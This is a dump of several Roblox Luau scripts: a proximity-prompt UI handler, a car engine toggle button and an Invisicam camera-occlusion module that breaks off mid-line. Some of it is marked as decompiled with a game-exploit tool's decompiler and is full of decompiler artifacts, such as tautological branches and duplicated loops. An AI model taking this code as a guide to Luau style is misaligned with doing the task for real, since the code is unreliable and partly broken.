- v13).Magnitude then v16 = nil; elseif v16 then end; end; l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 0.9, OutlineTransparency = 0 }):Play(); local v17 = nil; local v18 = nil; if v7() == "mobile" then l__InteractButton__4.Visible = true; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 0.35 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 0 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 0 }):Play(); v17 = l__InteractButton__4.InputBegan:Connect(function() p1:InputHoldBegin(); end); v18 = l__InteractButton__4.InputEnded:Connect(function() p1:InputHoldEnd(); end); end; local v19 = tick(); local v20 = 1 - 1; if not l__Parent__14:IsA("BasePart") then if not l__Parent__14:IsA("Model") then if l__Parent__14:IsA("Attachment") then while true do if p1 then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if u7 == u7 then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if u7 then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if l__PromptFrame__1.Visible then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if v15 then v21 = l__Parent__14:GetPivot().Position; else v21 = l__Parent__14.WorldPosition; end; if v16 then if v16 ~= nil then v21 = v16:Lerp(v21, l__TweenService__6:GetValue((tick() - v19) * 4, Enum.EasingStyle.Quart, Enum.EasingDirection.Out)); end; end; u10 = v13; l__PromptFrame__1.Position = UDim2.new(0, math.clamp(v22.X, 80, v8.AbsoluteSize.X - 80), 0, math.clamp(v22.Y, 80, v8.AbsoluteSize.Y - 80)); l__Highlight__9.Adornee = l__Parent__14; l__Highlight__9.Enabled = true; task.wait(); if 0 <= 1 then if v20 < 100000000 then else break; end; elseif 100000000 < v20 then else break; end; v20 = v20 + 1; end; end; else v19 = tick(); v20 = 1 - 1; while true do if p1 then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if u7 == u7 then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if u7 then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if l__PromptFrame__1.Visible then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if v15 then v21 = l__Parent__14:GetPivot().Position; else v21 = l__Parent__14.WorldPosition; end; if v16 then if v16 ~= nil then v21 = v16:Lerp(v21, l__TweenService__6:GetValue((tick() - v19) * 4, Enum.EasingStyle.Quart, Enum.EasingDirection.Out)); end; end; u10 = v13; v22, v23 = l__CurrentCamera__12:WorldToScreenPoint(v13 - Vector3.new(0, 0.2, 0)); l__PromptFrame__1.Position = UDim2.new(0, math.clamp(v22.X, 80, v8.AbsoluteSize.X - 80), 0, math.clamp(v22.Y, 80, v8.AbsoluteSize.Y - 80)); l__Highlight__9.Adornee = l__Parent__14; l__Highlight__9.Enabled = true; task.wait(); if 0 <= 1 then if v20 < 100000000 then else break; end; elseif 100000000 < v20 then else break; end; v20 = v20 + 1; end; end; else v19 = tick(); v20 = 1 - 1; while true do if p1 then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if u7 == u7 then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if u7 then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if l__PromptFrame__1.Visible then else pcall(function() if v17 then if v18 then v17:Disconnect(); v18:Disconnect(); end; end; end); if u7 == nil then l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { FillTransparency = 1, OutlineTransparency = 1 }):Play(); task.wait(0.2); if u7 == nil then if u8 == u8 then l__Highlight__9.Adornee = nil; l__Highlight__9.Enabled = false; l__PromptFrame__1.Visible = false; l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Transparency = 1 }):Play(); l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; elseif l__PromptFrame__1.Visible then u11 = v13; end; break; end; if v15 then v21 = l__Parent__14:GetPivot().Position; else v21 = l__Parent__14.WorldPosition; end; if v16 then if v16 ~= nil then v21 = v16:Lerp(v21, l__TweenService__6:GetValue((tick() - v19) * 4, Enum.EasingStyle.Quart, Enum.EasingDirection.Out)); end; end; u10 = v13; v22, v23 = l__CurrentCamera__12:WorldToScreenPoint(v13 - Vector3.new(0, 0.2, 0)); l__PromptFrame__1.Position = UDim2.new(0, math.clamp(v22.X, 80, v8.AbsoluteSize.X - 80), 0, math.clamp(v22.Y, 80, v8.AbsoluteSize.Y - 80)); l__Highlight__9.Adornee = l__Parent__14; l__Highlight__9.Enabled = true; task.wait(); if 0 <= 1 then if v20 < 100000000 then else break; end; elseif 100000000 < v20 then else break; end; v20 = v20 + 1; end; end; end; end); end; local u12 = 0; l__ProximityPromptService__5.PromptShown:Connect(function(p3) if p3.ObjectText ~= "Hint" then u7 = p3.Changed:Connect(function() update(p3); end); u12 = u12 + 1; update(p3); script.Notification:Play(); end; end); l__ProximityPromptService__5.PromptHidden:Connect(function(p4) if p4.ObjectText ~= "Hint" then l__PromptFrame__1.Bar.Bar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Sine", 0.1, true); l__PromptFrame__1.Visible = false; pcall(function() u7:Disconnect(); end); u7 = nil; u12 = u12 - 1; end; end); l__ProximityPromptService__5.PromptTriggered:Connect(function(p5) if p5.ObjectText ~= "Hint" then update(p5, true); v1.camShaker:ShakeOnce(1, 1, 0.2, 0.7, Vector3.new(0, 0, 0)); l__PromptFrame__1.Bar.Bar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Sine", 0.1, true); script.Triggered:Play(); script.Holding:Stop(); l__PromptFrame__1.CenterImage.Position = UDim2.new(0.5, 0, 0.52, 0); l__TweenService__6:Create(l__PromptFrame__1.CenterImage, TweenInfo.new(0.3, Enum.EasingStyle.Back, Enum.EasingDirection.Out), { Position = UDim2.new(0.5, 0, 0.5, 0), ImageTransparency = 0 }):Play(); end; end); l__ProximityPromptService__5.PromptButtonHoldBegan:Connect(function(p6) if p6.ObjectText ~= "Hint" then update(p6); l__PromptFrame__1.Bar.Bar:TweenSize(UDim2.new(1, 0, 1, 0), "In", "Sine", p6.HoldDuration, true); script.Holding:Play(); l__TweenService__6:Create(l__PromptFrame__1.CenterImage, TweenInfo.new(0.3, Enum.EasingStyle.Back, Enum.EasingDirection.Out), { Position = UDim2.new(0.5, 0, 0.52, 0), ImageTransparency = 0 }):Play(); end; end); l__ProximityPromptService__5.PromptButtonHoldEnded:Connect(function(p7) if p7.ObjectText ~= "Hint" then update(p7); script.Holding:Stop(); l__TweenService__6:Create(l__PromptFrame__1.CenterImage, TweenInfo.new(0.3, Enum.EasingStyle.Back, Enum.EasingDirection.Out), { Position = UDim2.new(0.5, 0, 0.5, 0), ImageTransparency = 0 }):Play(); end; end);
-- Variables (best not to touch these!)
local button = script.Parent .Parent.Parent local car = script.Parent.Parent.Parent.Parent.Car.Value local sound = script.Parent.Parent.Start local st = script.Parent.Parent.Stall st.Parent = car.DriveSeat sound.Parent = car.DriveSeat -- What brick the start sound is playing from. button.MouseButton1Click:connect(function() -- Event when the button is clicked if script.Parent.Parent.Parent.Text == "Engine: Off" then -- If the text says it's off then.. sound:Play() -- Startup sound plays.. wait(0.85) -- I don't know what to put for this script.Parent.Parent.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car. button.Text = "Engine: On" -- You don't really need this, but I would keep it. else -- If it's on then when you click the button, st:play() script.Parent.Parent.Parent.Parent.IsOn.Value = false -- The car is turned off. button.Text = "Engine: Off" end -- Don't touch this. end) -- And don't touch this either.
-- Decompiled with the Synapse X Luau decompiler.
local l__Players__1 = game:GetService("Players"); local u1 = Vector3.new(0, 0, 0); local v2 = require(script.Parent:WaitForChild("BaseOcclusion")); local v3 = setmetatable({}, v2); v3.__index = v3; local u2 = { LIMBS = 2, MOVEMENT = 3, CORNERS = 4, CIRCLE1 = 5, CIRCLE2 = 6, LIMBMOVE = 7, SMART_CIRCLE = 8, CHAR_OUTLINE = 9 }; function v3.new() local v4 = setmetatable(v2.new(), v3); v4.char = nil; v4.humanoidRootPart = nil; v4.torsoPart = nil; v4.headPart = nil; v4.childAddedConn = nil; v4.childRemovedConn = nil; v4.behaviors = {}; v4.behaviors[u2.LIMBS] = v4.LimbBehavior; v4.behaviors[u2.MOVEMENT] = v4.MoveBehavior; v4.behaviors[u2.CORNERS] = v4.CornerBehavior; v4.behaviors[u2.CIRCLE1] = v4.CircleBehavior; v4.behaviors[u2.CIRCLE2] = v4.CircleBehavior; v4.behaviors[u2.LIMBMOVE] = v4.LimbMoveBehavior; v4.behaviors[u2.SMART_CIRCLE] = v4.SmartCircleBehavior; v4.behaviors[u2.CHAR_OUTLINE] = v4.CharacterOutlineBehavior; v4.mode = u2.SMART_CIRCLE; v4.behaviorFunction = v4.SmartCircleBehavior; v4.savedHits = {}; v4.trackedLimbs = {}; v4.camera = game.Workspace.CurrentCamera; v4.enabled = false; return v4; end; function v3.Enable(p1, p2) p1.enabled = p2; if not p2 then p1:Cleanup(); end; end; function v3.GetOcclusionMode(p3) return Enum.DevCameraOcclusionMode.Invisicam; end; function v3.LimbBehavior(p4, p5) for v5, v6 in pairs(p4.trackedLimbs) do p5[#p5 + 1] = v5.Position; end; end; function v3.MoveBehavior(p6, p7) for v7 = 1, 3 do local l__Velocity__8 = p6.humanoidRootPart.Velocity; p7[#p7 + 1] = p6.humanoidRootPart.Position + (v7 - 1) * p6.humanoidRootPart.CFrame.lookVector * (Vector3.new(l__Velocity__8.X, 0, l__Velocity__8.Z).Magnitude / 2); end; end; local u3 = { Vector3.new(1, 1, -1), Vector3.new(1, -1, -1), Vector3.new(-1, -1, -1), Vector3.new(-1, 1, -1) }; function v3.CornerBehavior(p8, p9) local l__CFrame__9 = p8.humanoidRootPart.CFrame; local l__Position__10 = l__CFrame__9.Position; local v11 = l__CFrame__9 - l__Position__10; local v12 = p8.char:GetExtentsSize() / 2; p9[#p9 + 1] = l__Position__10; for v13 = 1, #u3 do p9[#p9 + 1] = l__Position__10 + v11 * (v12 * u3[v13]); end; end; function v3.CircleBehavior(p10, p11) if p10.mode == u2.CIRCLE1 then local v14 = p10.humanoidRootPart.CFrame; else local l__CoordinateFrame__15 = p10.camera.CoordinateFrame; v14 = l__CoordinateFrame__15 - l__CoordinateFrame__15.Position + p10.humanoidRootPart.Position; end; p11[#p11 + 1] = v14.Position; for v16 = 0, 9 do local v17 = 2 * math.pi / 10 * v16; p11[#p11 + 1] = v14 * (3 * Vector3.new(math.cos(v17), math.sin(v17), 0)); end; end; function v3.LimbMoveBehavior(p12, p13) p12:LimbBehavior(p13); p12:MoveBehavior(p13); end; function v3.CharacterOutlineBehavior(p14, p15) local l__unit__18 = p14.torsoPart.CFrame.upVector.unit; local l__unit__19 = p14.torsoPart.CFrame.rightVector.unit; p15[#p15 + 1] = p14.torsoPart.CFrame.p; p15[#p15 + 1] = p14.torsoPart.CFrame.p + l__unit__18; p15[#p15 + 1] = p14.torsoPart.CFrame.p - l__unit__18; p15[#p15 + 1] = p14.torsoPart.CFrame.p + l__unit__19; p15[#p15 + 1] = p14.torsoPart.CFrame.p - l__unit__19; if p14.headPart then p15[#p15 + 1] = p14.headPart.CFrame.p; end; local v20 = CFrame.new(u1, Vector3.new(p14.camera.CoordinateFrame.lookVector.X, 0, p14.camera.CoordinateFrame.lookVector.Z)); local v21 = p14.torsoPart and p14.torsoPart.Position or p14.humanoidRootPart.Position; local v22 = { p14.torsoPart }; if p14.headPart then v22[#v22 + 1] = p14.headPart; end; for v23 = 1, 24 do local v24 = 2 * math.pi * v23 / 24; local v25 = v20 * (3 * Vector3.new(math.cos(v24), math.sin(v24), 0)); local v26 = Vector3.new(v25.X, math.max(v25.Y, -2.25), v25.Z); local v27, v28 = game.Workspace:FindPartOnRayWithWhitelist(Ray.new(v21 + v26, -3 * v26), v22, false); if v27 then p15[#p15 + 1] = v28 + 0.2 * (v21 - v28).unit; end; end; end; local u4 = 2 * math.pi / 24; local function u5(p16, p17, p18, p19) local v29 = p17:Cross(p19); local v30 = p18.X - p16.X; local v31 = p18.Y - p16.Y; local v32 = p18.Z - p16.Z; local l__Y__33 = p17.Y; local v34 = -p19.Y; local l__Y__35 = v29.Y; local l__Z__36 = p17.Z; local v37 = -p19.Z; local l__Z__38 = v29.Z; local v39 = p17.X * (v34 * l__Z__38 - l__Y__35 * v37) - -p19.X * (l__Y__33 * l__Z__38 - l__Y__35 * l__Z__36) + v29.X * (l__Y__33 * v37 - v34 * l__Z__36); if v39 == 0 then return u1; end; local v40 = -p19.Y; local l__Y__41 = v29.Y; local v42 = -p19.Z; local l__Z__43 = v29.Z; local l__Y__44 = p17.Y; local l__Y__45 = v29.Y; local l__Z__46 = p17.Z; local l__Z__47 = v29.Z; local v48 = p16 + (v30 * (v40 * l__Z__43 - l__Y__41 * v42) - -p19.X * (v31 * l__Z__43 - l__Y__41 * v32) + v29.X * (v31 * v42 - v40 * v32)) / v39 * p17; local v49 = p18 + (p17.X * (v31 * l__Z__47 - l__Y__45 * v32) - v30 * (l__Y__44 * l__Z__47 - l__Y__45 * l__Z__46) + v29.X * (l__Y__44 * v32 - v31 * l__Z__46)) / v39 * p19; if (v49 - v48).Magnitude < 0.25 then return v48 + 0.5 * (v49 - v48); end; return u1; end; function v3.SmartCircleBehavior(p20, p21) local l__unit__50 = p20.torsoPart.CFrame.upVector.unit; local l__unit__51 = p20.torsoPart.CFrame.rightVector.unit; p21[#p21 + 1] = p20.torsoPart.CFrame.p; p21[#p21 + 1] = p20.torsoPart.CFrame.p + l__unit__50; p21[#p21 + 1] = p20.torsoPart.CFrame.p - l__unit__50; p21[#p21 + 1] = p20.torsoPart.CFrame.p + l__unit__51; p21[#p21 + 1] = p20.torsoPart.CFrame.p - l__unit__51; if p20.headPart then p21[#p21 + 1] = p20.headPart.CFrame.p; end; local v52 = p20.camera.CFrame - p20.camera.CFrame.p; local v53 = Vector3.new(0, 0.5, 0) + (p20.torsoPart and p20.torsoPart.Position or p20.humanoidRootPart.Position); for v54 = 1, 24 do local v55 = u4 * v54 - 0.5 * math.pi; local v56 = v53 + v52 * (2.5 * Vector3.new(math.cos(v55), math.sin(v55), 0)); local v57 = v56 - p20.camera.CFrame.p; local v58, v59, v60 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v53, v56 - v53), { p20.char }, false, false); local v61 = v56; if v58 then local v62 = v59 + 0.1 * v60.unit; local v63 = v62 - v53; local l__unit__64 = v63:Cross(v57).unit:Cross(v60).unit; if v63.unit:Dot(-l__unit__64) < v63.unit:Dot((v62 - p20.camera.CFrame.p).unit) then v61 = u5(v62, l__unit__64, v56, v57); if v61.Magnitude > 0 then local v65, v66, v67 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v62, v61 - v62), { p20.char }, false, false); if v65 then v61 = v66 + 0.1 * v67.unit; end; else v61 = v62; end; else v61 = v62; end; local v68, v69, v70 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v53, v61 - v53), { p20.char }, false, false); if v68 then v61 = v69 - 0.1 * (v61 - v53).unit; end; end; p21[#p21 + 1] = v61; end; end; function v3.CheckTorsoReference(p22) if p22.char then p22.torsoPart = p22.char:FindFirstChild("Torso"); if not p22.torsoPart then p22.torsoPart = p22.char:FindFirstChild("UpperTorso"); if not p22.torsoPart then p22.torsoPart = p22.char:FindFirstChild("HumanoidRootPart"); end; end; p22.headPart = p22.char:FindFirstChild("Head"); end; end; local u6 = { Head = true, ["Left Arm"] = true, ["Right Arm"] = true, ["Left Leg"] = true, ["Right Leg"] = true, LeftLowerArm = true, RightLowerArm = true, LeftUpperLeg = true, RightUpperLeg = true }; function v3.CharacterAdded(p23, p24, p25) if p25 ~= l__Players__1.LocalPlayer then return; end; if p23.childAddedConn then p23.childAddedConn:Disconnect(); p23.childAddedConn = nil; end; if p23.childRemovedConn then p23.childRemovedConn:Disconnect(); p23.childRemovedConn = nil; end; p23.char = p24; p23.trackedLimbs = {}; p23.childAddedConn = p24.ChildAdded:Connect(function(p26) if p26:IsA("BasePart") then if u6[p26.Name] then p23.trackedLimbs[p26] = true; end; if p26.Name == "Torso" or p26.Name == "UpperTorso" then p23.torsoPart = p26; end; if p26.Name == "Head" then p23.headPart = p26; end; end; end); p23.childRemovedConn = p24.ChildRemoved:Connect(function(p27) p23.trackedLimbs[p27] = nil; p23:CheckTorsoReference(); end); for v71, v72 in pairs(p23.char:GetChildren()) do if v72:IsA("BasePart") then if u6[v72.Name] then p23.trackedLimbs[v72] = true; end; if v72.Name == "Torso" or v72.Name == "UpperTorso" then p23.torsoPart = v72; end; if v72.Name == "Head" then p23.headPart = v72; end; end; end; end; local function u7(p28, ...) local v73 = {}; local v74 = ""; for v75, v76 in pairs({ ... }) do v73[v76] = true; if v74 == "" then local v77 = ""; else v77 = " or "; end; v74 = v74 .. v77 .. v76; end; local v78 = type(p28); assert(v73[v78], v74 .. " type expected, got: " .. v78); end; function v3.SetMode(p29, p30) u7(p30, "number"); for v79, v80 in pairs(u2) do if v80 == p30 then p29.mode = p30; p29.behaviorFunction = p29.behaviors[p29.mode]; return; end; end; error("Invalid mode number"); end; function v3.GetObscuredParts(p31) return p31.savedHits; end; function v3.Cleanup(p32) for v81, v82 in pairs(p32.savedHits) do v81.LocalTransparencyModifier = v82; end; end; function v3.Update(p33, p34, p35, p36) local v83 = nil; if not p33.enabled or not p33.char then return p35, p36; end; p33.camera = game.Workspace.CurrentCamera; if not p33.humanoidRootPart then local v84 = p33.char:FindFirstChildOfClass("Humanoid"); if v84 and v84.RootPart then p33.humanoidRootPart = v84.RootPart; else p33.humanoidRootPart = p33.char:FindFirstChild("HumanoidRootPart"); if not p33.humanoidRootPart then return p35, p36; end; end; local u8 = nil; u8 = p33.humanoidRootPart.AncestryChanged:Connect(function(p37, p38) if p37 == p33.humanoidRootPart and not p38 then p33.humanoidRootPart = nil; if u8 and u8.Connected then u8:Disconnect(); u8 = nil; end; end; end); end; if not p33.torsoPart then p33:CheckTorsoReference(); if not p33.torsoPart then return p35, p36; end; end; local v85 = {}; p33:behaviorFunction(v85); local v86 = { p33.char }; local u9 = {}; local v87 = 0; local v88 = {}; local v89 = 0.75; local v90 = 0.75; local v91 = p33.camera:GetPartsObscuringTarget({ p33.headPart and p33.headPart.CFrame.p or v85[1], p33.torsoPart and p33.torsoPart.CFrame.p or v85[2] }, v86); for v92 = 1, #v91 do local v93 = v91[v92]; v83 = v87 + 1; v88[v93] = true; for v94, v95 in pairs(v93:GetChildren()) do if v95:IsA("Decal") then v83 = v83 + 1; break; end; if v95:IsA("Texture") then v83 = v83 + 